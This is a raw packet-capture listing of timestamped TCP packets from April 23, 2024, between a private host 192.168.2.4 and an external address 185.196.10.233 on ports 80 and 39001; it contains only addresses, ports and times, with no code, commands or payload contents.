Apr 23, 2024 23:02:08.770039082 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770061016 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770098925 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770102978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770137072 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770175934 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770185947 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770215034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770251989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770257950 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770291090 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770334959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770370007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770385027 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770409107 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770416021 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770447016 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770487070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770523071 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770529032 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770562887 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770571947 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770605087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770642996 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770658016 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770680904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770716906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770754099 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770757914 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770792007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770797014 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770829916 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770867109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770904064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770920038 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770941973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770946026 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.770981073 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771020889 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771030903 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771058083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771095991 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771125078 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771135092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771173954 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771187067 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771224976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771265030 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771281958 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771303892 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771343946 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771352053 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771383047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771421909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771436930 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771460056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771497011 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771523952 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771537066 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771575928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771590948 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771614075 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771650076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771687031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771703005 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771725893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771735907 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771764040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771800995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771814108 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771838903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771878958 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771915913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771927118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771955013 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.771960974 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.771994114 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.772034883 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.793351889 CEST	39001	49735	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.793651104 CEST	39001	49735	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.793776989 CEST	49735	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.808017969 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.808175087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.808222055 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.840321064 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.872953892 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.911658049 CEST	39001	49736	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.911735058 CEST	49736	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.915910006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.915951014 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.915992022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916028023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916068077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916114092 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916114092 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916121960 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916158915 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916212082 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916213989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916260958 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916268110 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916304111 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916351080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916358948 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916395903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916431904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916470051 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916480064 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916518927 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916507959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916565895 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916606903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916614056 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.916645050 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916682959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.916726112 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.931160927 CEST	49736	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.963944912 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983304977 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983361006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983401060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983439922 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983450890 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983480930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983500957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983519077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983562946 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983583927 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983602047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983639956 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983676910 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983680010 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983715057 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983721972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983752966 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983791113 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983827114 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983835936 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983865976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983875036 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983906984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983944893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.983958960 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.983983040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984020948 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984034061 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984148979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984189034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984203100 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984227896 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984266996 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984298944 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984304905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984344006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984380960 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984388113 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984420061 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984426975 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984457970 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984494925 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984532118 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984539986 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984574080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984574080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984616995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984652996 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984692097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984702110 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984731913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984739065 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984771967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984808922 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984843969 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984846115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984884024 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984890938 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984922886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984960079 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.984967947 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.984998941 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985038042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985044003 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985076904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985117912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985136032 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985156059 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985193968 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985232115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985248089 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985269070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985270977 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985307932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985343933 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985352039 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985383034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985419989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985457897 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985471964 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985496044 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985502958 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985533953 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985573053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985610962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985616922 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985649109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985666037 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985686064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985723019 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985759974 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985766888 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985795975 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985796928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985835075 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985872030 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985909939 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985915899 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985948086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.985951900 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.985985994 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986023903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986062050 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986074924 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986100912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986109018 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986139059 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986176968 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986213923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986223936 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986252069 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986258030 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986290932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986326933 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986342907 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986365080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986402988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986406088 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986443043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986480951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986485004 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986526012 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986582041 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.986609936 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986649990 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.986697912 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.994817972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.994961977 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.019309044 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.019342899 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.019505978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.127681971 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127741098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127780914 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127820015 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127861023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127901077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127908945 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.127909899 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.127942085 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127983093 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.127994061 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.128022909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128038883 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.128062010 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128127098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128168106 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128176928 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.128210068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128221035 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.128248930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128287077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128326893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128340006 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.128364086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128386021 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.128403902 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.128460884 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.175353050 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.187077045 CEST	39001	49736	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.187150002 CEST	49736	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.197551966 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197597027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197633982 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197673082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197699070 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.197712898 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197737932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.197752953 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197761059 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.197789907 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197825909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197844028 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.197864056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197901964 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197937965 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197954893 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.197974920 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.197987080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198013067 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198050022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198081017 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198087931 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198126078 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198160887 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198162079 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198199034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198235035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198260069 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198275089 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198304892 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198312998 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198350906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198388100 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198401928 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198425055 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198443890 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198462963 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198502064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198518038 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198539019 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198576927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198592901 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198615074 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198656082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198668003 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198692083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198729992 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198765993 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198781013 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198805094 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198820114 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198842049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198879957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198915958 CEST	80	49733	185.196.10.233	192.168.2.4
